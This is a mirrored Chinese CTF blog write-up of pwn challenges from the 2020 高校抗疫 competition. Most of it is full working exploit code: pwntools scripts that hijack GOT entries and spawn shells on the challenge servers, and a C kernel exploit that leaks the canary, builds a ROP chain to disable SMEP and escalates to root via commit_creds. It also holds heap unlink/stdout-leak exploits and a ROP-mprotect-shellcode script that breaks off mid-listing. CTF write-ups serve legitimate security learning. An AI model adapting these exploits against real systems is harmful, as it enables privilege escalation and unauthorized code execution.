1

【WriteUp】高校抗“疫”网络安全分享赛 -- Pwn 题解

 2 years ago
source link: https://binlep.github.io/2020/03/10/%E3%80%90WriteUp%E3%80%91%E9%AB%98%E6%A0%A1%E6%8A%97%E2%80%9C%E7%96%AB%E2%80%9D%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%88%86%E4%BA%AB%E8%B5%9B%20--%20Pwn%20%E9%A2%98%E8%A7%A3/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

【WriteUp】高校抗“疫”网络安全分享赛 -- Pwn 题解

Description:

本题由北京工业大学GXY提供
作业在线提交系统是你在家自学的好帮手
nc 121.37.167.199 9997


Solution:

一道盲 pwn,利用负数来泄露程序和 libc,因为不会找 got 地址,看不懂程序写的啥

所以就接着爆破,-1800 多下标有很多地方可以泄露 got 表,改成 one_gadget 就好了,libc 是 2.29

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch="amd64", endian='el', os="linux")
# context.log_level = "debug"
if debug == 1:
p = process('./hw')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
libc_one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
else:
p = remote('121.37.167.199', 9997)
libc = ELF('./libc.so.6', checksec=False)
libc_one_gadget = [0xe237f, 0xe2383, 0xe2386, 0x106ef8]


def add(add_length, add_content):
p.sendlineafter(' ######################## \n>', '1')
p.sendlineafter('The length of your hw:\n', str(add_length))
p.sendlineafter('Input your hw:\n', add_content)


def edit(edit_idx, edit_content):
p.sendlineafter('#### \n>', '2')
p.sendlineafter('The index of your hw:\n', str(edit_idx))
p.sendafter('Input your hw:\n', edit_content)


def show(show_idx):
p.sendlineafter(' ######################## \n>', '4')
p.sendlineafter('The index of your hw:\n', str(show_idx))
if p.recv(3) == 'out':
return 'NULL.tmp'
p.recvuntil('hw:\n')

def submit():
p.sendline('5')


j = -1879
add(0x10, '/bin/sh\x00')
show(j)
base_padding = ''
for i in range(3):
base_padding += p.recvuntil('\x7f\x00\x00')
res = p.recvuntil('\x7f\x00\x00')
base_padding += res[-8:]
addr_puts = u64(res[-8:])
libcbase = addr_puts - libc.sym['write']
addr_system = libcbase + libc.sym['system']
addr_one_gadget = libcbase + libc_one_gadget[0]
success('addr_puts = ' + hex(addr_puts))
success('addr_system = ' + hex(addr_system))

base_padding = p64(addr_one_gadget) * 8
edit(j, base_padding)
submit()
p.interactive()

Flag:


babyhacker

Description:

本题由广州大学Team233战队提供。
baby kernel, have a try.
nc 121.36.215.224 9001


Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x0)

startvm.sh 文件如下:

#!/bin/bash

#stty intr ^]
#cd `dirname $0`
timeout --foreground 15 qemu-system-x86_64 \
-m 512M \
-nographic \
-kernel bzImage \
-append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \
-monitor /dev/null \
-initrd initramfs.cpio \
-smp cores=2,threads=4 \
-cpu qemu64,smep,smap 2>/dev/null

这里调试的时候 15 改大点,不然就 15 秒连接时间,kaslr 改成 nokaslr

rcS 文件如下:

#!/bin/sh

mount -t proc none /proc
mount -t devtmpfs none /dev
mkdir /dev/pts
mount /dev/pts

insmod /home/pwn/babyhacker.ko
chmod 644 /dev/babyhacker
echo 0 > /proc/sys/kernel/dmesg_restrict
echo 0 > /proc/sys/kernel/kptr_restrict

cd /home/pwn
chown -R root /flag
chmod 400 /flag


chown -R 1000:1000 .
setsid cttyhack setuidgid 1000 sh

umount /proc
poweroff -f

利用 lsmod 找到 nokaslr 的时候模块加载基地址为 0xffffffffc0000000,于是调试代码如下:

gdb-multiarch ./vmlinux -ex "set architecture i386:x86-64" -ex "add-symbol-file ./babyhacker.ko 0xffffffffc0000000" -ex "target remote localhost:2222"

主要函数如下:

__int64 __fastcall babyhacker_ioctl(file *file, unsigned int cmd, unsigned __int64 arg)
{
__int64 v3; // rbp
file *rdx1; // rdx
signed __int16 v5; // di
int v4[80]; // [rsp+0h] [rbp-150h]
unsigned __int64 v8; // [rsp+140h] [rbp-10h]
__int64 v9; // [rsp+148h] [rbp-8h]

_fentry__(file);
v9 = v3;
v5 = (signed __int16)rdx1;
v8 = __readgsqword(0x28u);
switch ( cmd )
{
case 0x30001u:
babyhacker_ioctl_0(rdx1, *(__int64 *)&cmd, (unsigned __int64)rdx1, (__int64)&v9);
break;
case 0x30002u:
copy_to_user(rdx1, v4, buffersize);
break;
case 0x30000u:
if ( (signed int)rdx1 >= 11 )
v5 = 10;
buffersize = v5;
break;
}
return 0LL;
}

v5 是 di,rdx1 是 signed int,所以我们可以输入负数,靠这个负数值的后两位当作 buffersize 的大小,我设置的大小是 0x200

之后靠 0x30002 来泄露栈内数据,用 0x30001 来写入数据即可

exp 如下:

#include <err.h>
#include <fcntl.h>
#include <stdint.h>

struct trap_frame{
void *rip;
uint64_t cs;
uint64_t rflags;
void * rsp;
uint64_t ss;
}__attribute__((packed));
struct trap_frame tf;

uint64_t(*commit_creds)(uint64_t cred) = 0xffffffff810a1430;
uint64_t(*prepare_kernel_cred)(uint64_t cred) = 0xffffffff810a1820;

void shell(){
system("/bin/sh");
}

void templine(){
commit_creds(prepare_kernel_cred(0));
asm(
"movq $tf, %rsp;"
"swapgs;"
"iretq;"
);
}

void save_status(){
asm(
"mov %%cs, %0;"
"mov %%ss,%1;"
"mov %%rsp,%3;"
"pushfq;"
"popq %2;"
:"=r"(tf.cs), "=r"(tf.ss), "=r"(tf.rflags), "=r"(tf.rsp)
:
: "memory"
);
tf.rsp -= 0x1000;
tf.rip = &shell;
}

int main(int argc, char *argv[]){
save_status();
uint64_t temp[0x200];
int driver_fd = open("/dev/babyhacker", O_RDONLY);
if(driver_fd < 0){
err(2, "open failed");
}
ioctl(driver_fd, 0x30000, -2147483136); // 0x200
ioctl(driver_fd, 0x30002, &temp);
int i;
for(i = 0; i < 0x30; ++i){
printf("[0x%03x] %p\n", i, temp[i]);
}
uint64_t stack_no_kaslr = 0xffffffff82311720;
uint64_t stackbase = temp[0x005] - stack_no_kaslr;
uint64_t iCanary = temp[0x028];
uint64_t rop_pop_rdi_ret = stackbase + 0xffffffff8109054d;
uint64_t rop_mov_cr4_rdi = stackbase + 0xffffffff81004d70;
commit_creds += stackbase;
prepare_kernel_cred += stackbase;
printf("[+]stack_no_kaslr = %p\n", stack_no_kaslr);
printf("[+]iCanary = %p\n", iCanary);
printf("[+]rop_pop_rdi_ret = %p\n", rop_pop_rdi_ret);
printf("[+]rop_mov_cr4_rdi = %p\n", rop_mov_cr4_rdi);
printf("[+]commit_creds = %p\n", commit_creds);
printf("[+]prepare_kernel_cred = %p\n", prepare_kernel_cred);
i = 0x28;
temp[i++] = iCanary;
i++;
temp[i++] = rop_pop_rdi_ret;
temp[i++] = 0x6f0;
temp[i++] = rop_mov_cr4_rdi;
i++;
temp[i++] = &templine;
ioctl(driver_fd, 0x30001, &temp);
return 0;
}

Flag:

flag{B4by_k3rler_1s_such_2_3aby!!!!!!!!!!!!!!}

babyhacker2

题跟 babyhacker 一样,可能因为 babyhacker 的 flag 忘删了就补了一个 2

这两题我当时没做,以为很难……

easyheap

Description:

本题由南京航空航天大学Asuri战队提供
Just a easy heap
nc 121.36.209.145 9997


Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

main 函数如下:

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // eax

sub_4007F6();
puts("Welcome to message manager!");
while ( 1 )
{
while ( 1 )
{
menu();
v3 = input();
if ( v3 != 2 )
break;
delete();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
edit();
}
else
{
if ( v3 == 4 )
exit(0);
LABEL_13:
puts("Wrong choice!!!");
}
}
else
{
if ( v3 != 1 )
goto LABEL_13;
add();
}
}
}

add 函数如下:

int add()
{
void **v1; // rbx
signed int i; // [rsp+8h] [rbp-18h]
int nbytes; // [rsp+Ch] [rbp-14h]

for ( i = 0; ptr[i]; ++i )
;
if ( i > 2 )
return puts("Too many items!");
ptr[i] = malloc(0x10uLL);
puts("How long is this message?");
nbytes = input();
if ( nbytes > 1024 )
return puts("Too much size!");
*(ptr[i] + 2) = nbytes;
v1 = ptr[i];
*v1 = malloc(nbytes);
puts("What is the content of the message?");
read(0, *ptr[i], nbytes);
return puts("Add successfully.");
}

这有漏洞点,可以看到如果输入的长度大于 0x400 的话会无法分配那个任意大小的 chunk,但是无论如何都会给你分配一个 0x20 的堆块

delete 函数如下:

int delete()
{
int v1; // [rsp+Ch] [rbp-4h]

if ( ++dword_6020AC > 4 )
return puts("Delete failed.");
puts("What is the index of the item to be deleted?");
v1 = input();
if ( v1 < 0 || v1 > 6 || !ptr[v1] )
return puts("Delete failed.");
free(*ptr[v1]);
free(ptr[v1]);
ptr[v1] = 0LL;
return puts("Delete successfully.");
}

edit 函数如下:

int edit()
{
int v1; // [rsp+Ch] [rbp-4h]

if ( ++dword_6020B0 > 6 )
return puts("Delete failed.");
puts("What is the index of the item to be modified?");
v1 = input();
if ( v1 < 0 || v1 > 6 || !ptr[v1] )
return puts("Edit failed.");
puts("What is the content of the message?");
read(0, *ptr[v1], *(ptr[v1] + 2));
return puts("Edit successfully.");
}

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 2
context(arch="amd64", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
p = process('./easyheap')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
else:
p = remote('121.36.209.145', 9997)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./easyheap', checksec=False)


def add(add_len, add_content):
p.sendafter('Your choice:\n', '1')
p.sendafter('How long is this message?\n', str(add_len))
if add_len > 0x400:
return
p.sendafter('What is the content of the message?\n', add_content)


def delete(delete_idx):
p.sendafter('Your choice:\n', '2')
p.sendafter('item to be deleted?\n', str(delete_idx))


def edit(edit_idx, edit_content):
p.sendafter('Your choice:\n', '3')
p.sendafter('item to be modified?\n', str(edit_idx))
p.sendafter('the message?\n', str(edit_content))


got_atoi = elf.got['atoi']
plt_puts = elf.plt['puts']
addr_ptr = 0x6020C0
addr_stdout = 0x602080
# chunk overlap
add(0x500, '0')
add(0x500, '1')
add(0x60, '2')
delete(1)
delete(2)
add(0x500, '1')
pd = p64(0) + p64(0x21)
pd += '\x00' * 0x10
pd += p64(0xa0) + p64(0x21)
pd += p64(addr_ptr - 0x38)
edit(1, pd)
pd = p64(0x1000)
pd += p64(0) + p64(0)
pd += p64(0) + p64(0)
pd += p64(0xffffffffffffffff) + p64(0xffffffffffffffff)
pd += p64(addr_stdout) + p64(addr_ptr + 8) + p64(0x1000) * 2
edit(1, pd)

# use _IO_2_1_stdout_ leak libc
pd = p64(0xfbad1887)
pd += p64(0) * 3
pd += '\x00'
edit(0, pd)
p.recv(0x18)
addr__IO_file_jumps = u64(p.recv(6).ljust(8, '\x00'))
addr_system = addr__IO_file_jumps - 0x37e350
libcbase = addr_system - libc.sym['system']

edit(1, p64(addr_ptr + 0x10) + p64(got_atoi))
edit(1, p64(addr_system))
p.sendline('/bin/sh')
success('_IO_file_jumps = ' + hex(addr__IO_file_jumps))
success('addr_system = ' + hex(addr_system))
# gdb.attach(p)
p.interactive()

Flag:

flag{asinsdfweusadqnmzposlakkdf}

Description:

本题由陆军工程大学str4nge战队提供
nc 121.36.209.145 9998


Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

程序开了 seccomp,保护如下:

 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x04 0xc000003e if (A != ARCH_X86_64) goto 0006
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x02 0x00 0x40000000 if (A >= 0x40000000) goto 0006
0004: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0006
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0006: 0x06 0x00 0x00 0x00000000 return KILL

所以这道题只能 orw 了,不过今天用 shellcraft.cat() 函数发现了其实还可以 open 加上 sendfile,大致调用如下:

──────────────────────────────────────[ REGISTERS ]───────────────────────────────────────
RAX 0x28
RBX 0x0
RCX 0x603314 ← 0x89487fffffffba41
RDX 0x0
RDI 0x1
RSI 0x3
R8 0x0
R9 0x0
R10 0x7fffffff
R11 0x346
R12 0x0
R13 0x0
R14 0x0
R15 0x0
RBP 0x0
RSP 0x603588 ← 0x67616c662f /* '/flag' */
RIP 0x603324 ← 0x50f
────────────────────────────────────────[ DISASM ]────────────────────────────────────────
► 0x603324 syscall <SYS_sendfile>
out_fd: 0x1
in_fd: 0x3
offset: 0x0
count: 0x7fffffff

接下来看函数流程即漏洞,这破题加了一堆没用的代码就是为了恶心人……

以下所有 emmm 函数一律没用

题目知识点:

snprintf 函数原型为:

int snprintf(char *str, size_t size, const char *format, ...)

将可变参数 "..." 按照 format 的格式格式化为字符串,然后再将其拷贝至str中

如果格式化后的字符串长度 ≥ size,则只将其中的 (size - 1) 个字符复制到 str 中,并给其后添加一个字符串结束符 \x00

返回值为格式化后的字符串长度,也就是说该返回值我们是可以控制的

main 函数如下:

void __fastcall main(__int64 a1, char **a2, char **a3)
{
int v3; // [rsp+Ch] [rbp-114h]
char buf; // [rsp+10h] [rbp-110h]
unsigned __int64 v5; // [rsp+118h] [rbp-8h]

v5 = __readfsqword(0x28u);
no_use_1();
no_use_1();
seccomp();
puts("----------------dalao-----------ddddddddddddaidaidaidaidai wo-----------------------------");
puts("----------------dalao-----------ddddddddddddaidaidaidaidai wo-----------------------------");
puts("----------------dalao-----------ddddddddddddaidaidaidaidai wo-----------------------------");
puts("son call babaaa,what is your name? ");
read(0, &buf, 0x100uLL);
while ( 1 )
{
menu();
_isoc99_scanf("%d", &v3);
switch ( v3 )
{
case 1:
add();
break;
case 2:
delete();
break;
case 3:
show();
break;
case 4:
edit();
break;
case 5:
exit(0);
return;
default:
puts("Invalid choice");
break;
}
}
}

add 函数如下(漏洞点):

unsigned __int64 add()
{
int v0; // eax
int v1; // eax
int v2; // eax
bool v3; // al
int v4; // eax
int v5; // eax
int v7; // [rsp+0h] [rbp-10h]
int i; // [rsp+4h] [rbp-Ch]
unsigned __int64 v9; // [rsp+8h] [rbp-8h]

v9 = __readfsqword(0x28u);
for ( i = 0; i <= 31 && buf[i]; ++i )
;
if ( i == 32 )
{
puts("full!");
}
else
{
puts("______?");
_isoc99_scanf("%d", &v7);
if ( v7 >= 0 && v7 <= 0x1000 )
{
buf[i] = malloc(v7); // execute;important
puts("start_the_game,yes_or_no?");
read(0, &input_603060, 0x200uLL); // execute;important
if ( dword_60303C / dword_603010 > 1 )
{
if ( dword_60303C % dword_603010 )
{
if ( dword_60303C % dword_603010 != dword_60303C / dword_603010 || dword_603040 )
{
if ( dword_60303C % dword_603010 <= 1 || dword_60303C % dword_603010 >= dword_60303C / dword_603010 )
{
if ( dword_603010 * dword_603010 > dword_60303C )
emmm(dword_603010, dword_60303C + 1, dword_603040);
}
else
{
emmm(
dword_603010,
dword_60303C + 1,
dword_603040 + (dword_60303C / dword_603010 % (dword_60303C % dword_603010) == 0));
}
}
else
{
emmm(dword_603010, dword_60303C + 1, dword_603040);
}
}
else
{
emmm(dword_603010, dword_60303C + 1, dword_60303C % dword_603010);
}
}
else
{
emmm(dword_603010, dword_60303C + 1, dword_603040);// execute
}
if ( dword_60303C / dword_603010 > 1 )
{
if ( dword_60303C % dword_603010 )
{
if ( dword_60303C % dword_603010 != dword_60303C / dword_603010 || dword_603040 )
{
if ( dword_60303C % dword_603010 <= 1 || dword_60303C % dword_603010 >= dword_60303C / dword_603010 )
{
if ( dword_603010 * dword_603010 > dword_60303C )
emmm(dword_603010, dword_60303C + 1, dword_603040);
}
else
{
emmm(
dword_603010,
dword_60303C + 1,
dword_603040 + (dword_60303C / dword_603010 % (dword_60303C % dword_603010) == 0));
}
}
else
{
emmm(dword_603010, dword_60303C + 1, dword_603040);
}
}
else
{
emmm(dword_603010, dword_60303C + 1, dword_60303C % dword_603010);
}
}
else
{
emmm(dword_603010, dword_60303C + 1, dword_603040);// execute
}
v7 = snprintf(byte_6033E0, v7, "%s", &input_603060);// execute;important;bug
if ( dword_60303C / dword_603010 > 1 )
{
if ( dword_60303C % dword_603010 )
{
if ( dword_60303C % dword_603010 != dword_60303C / dword_603010 || dword_603040 )
{
if ( dword_60303C % dword_603010 <= 1 || dword_60303C % dword_603010 >= dword_60303C / dword_603010 )
{
if ( dword_603010 * dword_603010 > dword_60303C )
emmm(dword_603010, dword_60303C + 1, dword_603040);
}
else
{
emmm(
dword_603010,
dword_60303C + 1,
dword_603040 + (dword_60303C / dword_603010 % (dword_60303C % dword_603010) == 0));
}
}
else
{
emmm(dword_603010, dword_60303C + 1, dword_603040);
}
}
else
{
emmm(dword_603010, dword_60303C + 1, dword_60303C % dword_603010);
}
}
else
{
emmm(dword_603010, dword_60303C + 1, dword_603040);// execute
}
if ( dword_60303C / dword_603010 > 1 )
{
if ( dword_60303C % dword_603010 )
{
if ( dword_60303C % dword_603010 != dword_60303C / dword_603010 || dword_603040 )
{
if ( dword_60303C % dword_603010 <= 1 || dword_60303C % dword_603010 >= dword_60303C / dword_603010 )
{
if ( dword_603010 * dword_603010 > dword_60303C )
emmm(dword_603010, dword_60303C + 1, dword_603040);
}
else
{
emmm(
dword_603010,
dword_60303C + 1,
dword_603040 + (dword_60303C / dword_603010 % (dword_60303C % dword_603010) == 0));
}
}
else
{
emmm(dword_603010, dword_60303C + 1, dword_603040);
}
}
else
{
emmm(dword_603010, dword_60303C + 1, dword_60303C % dword_603010);
}
}
else
{
emmm(dword_603010, dword_60303C + 1, dword_603040);// execute
}
if ( dword_603010 <= dword_60303C )
v0 = dword_603040;
else
v0 = dword_60303C; // execute
if ( v0 <= dword_603010 && dword_60303C > dword_603040 || dword_603040 <= dword_60303C )
v1 = dword_60303C; // execute
else
v1 = dword_603040;
dword_60303C = v1; // execute
if ( dword_603010 <= v1 )
v2 = dword_603040;
else
v2 = dword_60303C; // execute
if ( v2 <= dword_603010 && dword_60303C > dword_603040 || dword_603040 <= dword_60303C )
v3 = dword_60303C != 0; // execute
else
v3 = dword_603040 != 0;
if ( v3 )
{
if ( dword_603010 <= dword_60303C )
v4 = dword_603040;
else
v4 = dword_60303C;
if ( v4 <= dword_603010 && dword_60303C > dword_603040 || dword_603040 <= dword_60303C )
v5 = dword_60303C;
else
v5 = dword_603040;
size[i] = v5;
}
else
{
size[i] = v7; // execute;important;bug
}
if ( dword_60303C / dword_603010 > 1 )
{
if ( dword_60303C % dword_603010 )
{
if ( dword_60303C % dword_603010 != dword_60303C / dword_603010 || dword_603040 )
{
if ( dword_60303C % dword_603010 <= 1 || dword_60303C % dword_603010 >= dword_60303C / dword_603010 )
{
if ( dword_603010 * dword_603010 > dword_60303C )
emmm(dword_603010, dword_60303C + 1, dword_603040);
}
else
{
emmm(
dword_603010,
dword_60303C + 1,
dword_603040 + (dword_60303C / dword_603010 % (dword_60303C % dword_603010) == 0));
}
}
else
{
emmm(dword_603010, dword_60303C + 1, dword_603040);
}
}
else
{
emmm(dword_603010, dword_60303C + 1, dword_60303C % dword_603010);
}
}
else
{
emmm(dword_603010, dword_60303C + 1, dword_603040);// execute
}
if ( dword_60303C / dword_603010 > 1 )
{
if ( dword_60303C % dword_603010 )
{
if ( dword_60303C % dword_603010 != dword_60303C / dword_603010 || dword_603040 )
{
if ( dword_60303C % dword_603010 <= 1 || dword_60303C % dword_603010 >= dword_60303C / dword_603010 )
{
if ( dword_603010 * dword_603010 > dword_60303C )
emmm(dword_603010, dword_60303C + 1, dword_603040);
}
else
{
emmm(
dword_603010,
dword_60303C + 1,
dword_603040 + (dword_60303C / dword_603010 % (dword_60303C % dword_603010) == 0));
}
}
else
{
emmm(dword_603010, dword_60303C + 1, dword_603040);
}
}
else
{
emmm(dword_603010, dword_60303C + 1, dword_60303C % dword_603010);
}
}
else
{
emmm(dword_603010, dword_60303C + 1, dword_603040);// execute
}
}
else
{
puts("invalid __");
}
}
return __readfsqword(0x28u) ^ v9;
}

挑挑拣拣 add 函数其实就是如下功能,只要你输入的字符串长度大于申请的堆块大小:

unsigned __int64 add()
{
int v7; // [rsp+0h] [rbp-10h]
int i; // [rsp+4h] [rbp-Ch]
unsigned __int64 v9; // [rsp+8h] [rbp-8h]

v9 = __readfsqword(0x28u);
for ( i = 0; i <= 31 && buf[i]; ++i )
;
if ( i == 32 )
{
puts("full!");
}
else
{
puts("______?");
_isoc99_scanf("%d", &v7);
if ( v7 >= 0 && v7 <= 0x1000 )
{
buf[i] = malloc(v7); // execute;important
puts("start_the_game,yes_or_no?");
read(0, &input_603060, 0x200uLL); // execute;important
v7 = snprintf(byte_6033E0, v7, "%s", &input_603060);// execute;important;bug
size[i] = v7; // execute;important;bug
}
return __readfsqword(0x28u) ^ v9;
}

这个漏洞是结合 edit 函数一起用的

edit 函数如下:

unsigned __int64 edit()
{
int v0; // eax
int v1; // eax
int v3; // [rsp+4h] [rbp-Ch]
unsigned __int64 v4; // [rsp+8h] [rbp-8h]

v4 = __readfsqword(0x28u);
puts("index ?");
_isoc99_scanf("%d", &v3);
if ( v3 >= 0 && v3 <= 31 && buf[v3] )
{
puts("___c___r__s__++___c___new_content ?");
if ( dword_603010 <= dword_60303C )
v0 = dword_603040;
else
v0 = dword_60303C; // execute
if ( v0 <= dword_603010 && dword_60303C > dword_603040 || dword_603040 <= dword_60303C )
v1 = dword_60303C; // execute
else
v1 = dword_603040;
dword_60303C = v1; // execute
read(0, buf[v3], size[v3]); // execute;important
}
else
{
puts("invalid index");
}
return __readfsqword(0x28u) ^ v4;
}

也就是你能在堆块里随意越界写,这题就开始走白给路线了

delete 函数如下:

unsigned __int64 delete()
{
int v0; // eax
int v1; // eax
int v2; // eax
char *v3; // rax
int v4; // eax
char *v5; // rax
int v7; // [rsp+4h] [rbp-Ch]
unsigned __int64 v8; // [rsp+8h] [rbp-8h]

v8 = __readfsqword(0x28u);
puts("index ?");
_isoc99_scanf("%d", &v7);
if ( v7 >= 0 && v7 <= 31 && buf[v7] )
{
if ( dword_60303C / dword_603010 > 1 )
{
if ( dword_60303C % dword_603010 )
{
if ( dword_60303C % dword_603010 != dword_60303C / dword_603010 || dword_603040 )
{
if ( dword_60303C % dword_603010 <= 1 || dword_60303C % dword_603010 >= dword_60303C / dword_603010 )
{
if ( dword_603010 * dword_603010 > dword_60303C )
emmm(dword_603010, dword_60303C + 1, dword_603040);
}
else
{
emmm(
dword_603010,
dword_60303C + 1,
dword_603040 + (dword_60303C / dword_603010 % (dword_60303C % dword_603010) == 0));
}
}
else
{
emmm(dword_603010, dword_60303C + 1, dword_603040);
}
}
else
{
emmm(dword_603010, dword_60303C + 1, dword_60303C % dword_603010);
}
}
else
{
emmm(dword_603010, dword_60303C + 1, dword_603040);// execute
}
if ( dword_60303C / dword_603010 > 1 )
{
if ( dword_60303C % dword_603010 )
{
if ( dword_60303C % dword_603010 != dword_60303C / dword_603010 || dword_603040 )
{
if ( dword_60303C % dword_603010 <= 1 || dword_60303C % dword_603010 >= dword_60303C / dword_603010 )
{
if ( dword_603010 * dword_603010 > dword_60303C )
emmm(dword_603010, dword_60303C + 1, dword_603040);
}
else
{
emmm(
dword_603010,
dword_60303C + 1,
dword_603040 + (dword_60303C / dword_603010 % (dword_60303C % dword_603010) == 0));
}
}
else
{
emmm(dword_603010, dword_60303C + 1, dword_603040);
}
}
else
{
emmm(dword_603010, dword_60303C + 1, dword_60303C % dword_603010);
}
}
else
{
emmm(dword_603010, dword_60303C + 1, dword_603040);// execute
}
free(buf[v7]); // execute;important
if ( dword_60303C / dword_603010 > 1 )
{
if ( dword_60303C % dword_603010 )
{
if ( dword_60303C % dword_603010 != dword_60303C / dword_603010 || dword_603040 )
{
if ( dword_60303C % dword_603010 <= 1 || dword_60303C % dword_603010 >= dword_60303C / dword_603010 )
{
if ( dword_603010 * dword_603010 > dword_60303C )
emmm(dword_603010, dword_60303C + 1, dword_603040);
}
else
{
emmm(
dword_603010,
dword_60303C + 1,
dword_603040 + (dword_60303C / dword_603010 % (dword_60303C % dword_603010) == 0));
}
}
else
{
emmm(dword_603010, dword_60303C + 1, dword_603040);
}
}
else
{
emmm(dword_603010, dword_60303C + 1, dword_60303C % dword_603010);
}
}
else
{
emmm(dword_603010, dword_60303C + 1, dword_603040);// execute
}
if ( dword_60303C / dword_603010 > 1 )
{
if ( dword_60303C % dword_603010 )
{
if ( dword_60303C % dword_603010 != dword_60303C / dword_603010 || dword_603040 )
{
if ( dword_60303C % dword_603010 <= 1 || dword_60303C % dword_603010 >= dword_60303C / dword_603010 )
{
if ( dword_603010 * dword_603010 > dword_60303C )
emmm(dword_603010, dword_60303C + 1, dword_603040);
}
else
{
emmm(
dword_603010,
dword_60303C + 1,
dword_603040 + (dword_60303C / dword_603010 % (dword_60303C % dword_603010) == 0));
}
}
else
{
emmm(dword_603010, dword_60303C + 1, dword_603040);
}
}
else
{
emmm(dword_603010, dword_60303C + 1, dword_60303C % dword_603010);
}
}
else
{
emmm(dword_603010, dword_60303C + 1, dword_603040);// execute
}
if ( dword_603010 <= dword_60303C )
v0 = dword_603040;
else
v0 = dword_60303C; // execute
if ( v0 <= dword_603010 && dword_60303C > dword_603040 || dword_603040 <= dword_60303C )
v1 = dword_60303C; // execute
else
v1 = dword_603040;
dword_60303C = v1; // execute
if ( v1 )
{
if ( dword_603010 <= dword_60303C )
v2 = dword_603040;
else
v2 = dword_60303C;
if ( v2 <= dword_603010 && dword_60303C > dword_603040 || dword_603040 <= dword_60303C )
v3 = dword_60303C;
else
v3 = dword_603040;
buf[v7] = v3;
}
else
{
if ( dword_603010 <= dword_60303C )
v4 = dword_603040;
else
v4 = dword_60303C; // execute
if ( v4 <= dword_603010 && dword_60303C > dword_603040 || dword_603040 <= dword_60303C )
v5 = dword_60303C; // execute
else
v5 = dword_603040;
buf[v7] = v5; // execute;important
}
}
else
{
puts("invalid index");
}
return __readfsqword(0x28u) ^ v8;
}

这个函数也是废话一大堆,挑挑拣拣后如下:

unsigned __int64 delete()
{
char *v5; // rax
int v7; // [rsp+4h] [rbp-Ch]
unsigned __int64 v8; // [rsp+8h] [rbp-8h]

v8 = __readfsqword(0x28u);
puts("index ?");
_isoc99_scanf("%d", &v7);
if ( v7 >= 0 && v7 <= 31 && buf[v7] )
{
free(buf[v7]); // execute;important
v5 = 0;
buf[v7] = v5; // execute;important
}
else
{
puts("invalid index");
}
return __readfsqword(0x28u) ^ v8;
}

说白了就正常 free 一个函数

show 函数如下:

unsigned __int64 show()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("index ?");
_isoc99_scanf("%d", &v1);
if ( v1 >= 0 && v1 <= 31 && buf[v1] )
puts(buf[v1]);
else
puts("invalid index");
return __readfsqword(0x28u) ^ v2;
}

很正常的 show 函数

解题思路:

利用点就是靠越界写:double free,unlink 都可以,这里我用的 unlink

一开始泄露 libc 很容易,没啥烦人的地方,之后 unlink 改 __malloc_hook 为 csu 中最后 pop 那一段

记得还要带个 rsp + 8,以此可以跳转到一开始你输入名字的栈地址,达成栈迁移的作用

注意只有 __malloc_hook 满足这个条件,反正我试 __free_hook 失败了

在写名字的地方利用 csu 写入函数read(0, addr_bss, 0x500);来为之后输入 rop 和 shellcode 做铺垫

程序开了 nx 保护不妨碍 rop,利用上面的 read 函数在 bss 段利用 csu 构造好 mprotect 函数的调用,将 bss 段地址变成可执行 shellcode 的地址

rop 里再写上返回地址 (shellcode 地址),和 shellcode 就完事了

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from LibcSearcher import *
from pwn import *

debug = 1
context(arch="amd64", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
p = process('./chall')
else:
p = remote('challenge-44f02604bacb251b.sandbox.ctfhub.com', 33314)
elf = ELF('./chall', checksec=False)


def amd64_csu(r12, edi, rsi, rdx, last_ret):
global addr_csu_front, addr_csu_end
payload = p64(addr_csu_end)
payload += p64(0) * 2
payload += p64(1)
payload += p64(r12)
payload += p64(rdx)
payload += p64(rsi)
payload += p64(edi)
payload += p64(addr_csu_front)
payload += p64(0) * 7
payload += p64(last_ret)
return payload


def add(add_len, add_content):
p.sendlineafter('>> ', '1')
p.sendlineafter('______?\n', str(add_len))
p.sendafter('yes_or_no?\n', add_content)


def delete(delete_idx):
p.sendlineafter('>> ', '2')
p.sendlineafter('index ?\n', str(delete_idx))


def show(show_idx):
p.sendlineafter('>> ', '3')
p.sendlineafter('index ?\n', str(show_idx))


def edit(edit_idx, edit_content):
p.sendlineafter('>> ', '4')
p.sendlineafter('index ?\n', str(edit_idx))
p.sendafter('___new_content ?\n', edit_content)


got_read = elf.got['read']
rop_leave_ret = 0x4009a9
rop_pop_rbp_ret = 0x400800
rop_ret = 0x400711
addr_chunk_list = 0x6032e0
addr_csu_front = 0x402390
addr_csu_end = 0x4023A6
addr_bss = 0x603500
# leak libc
pd = amd64_csu(got_read, 0, addr_bss, 0x500, rop_pop_rbp_ret)
pd += p64(addr_bss)
pd += p64(rop_leave_ret)
p.sendafter('your name? \n', pd) # for __malloc_hook rop
add(0x90, '0' * 0x200)
add(0x10, '1' * 0x200)
add(0x60, '2' * 0x200)
add(0x60, '3' * 0x200)
delete(0)
add(0x90, '0' * 0x200)
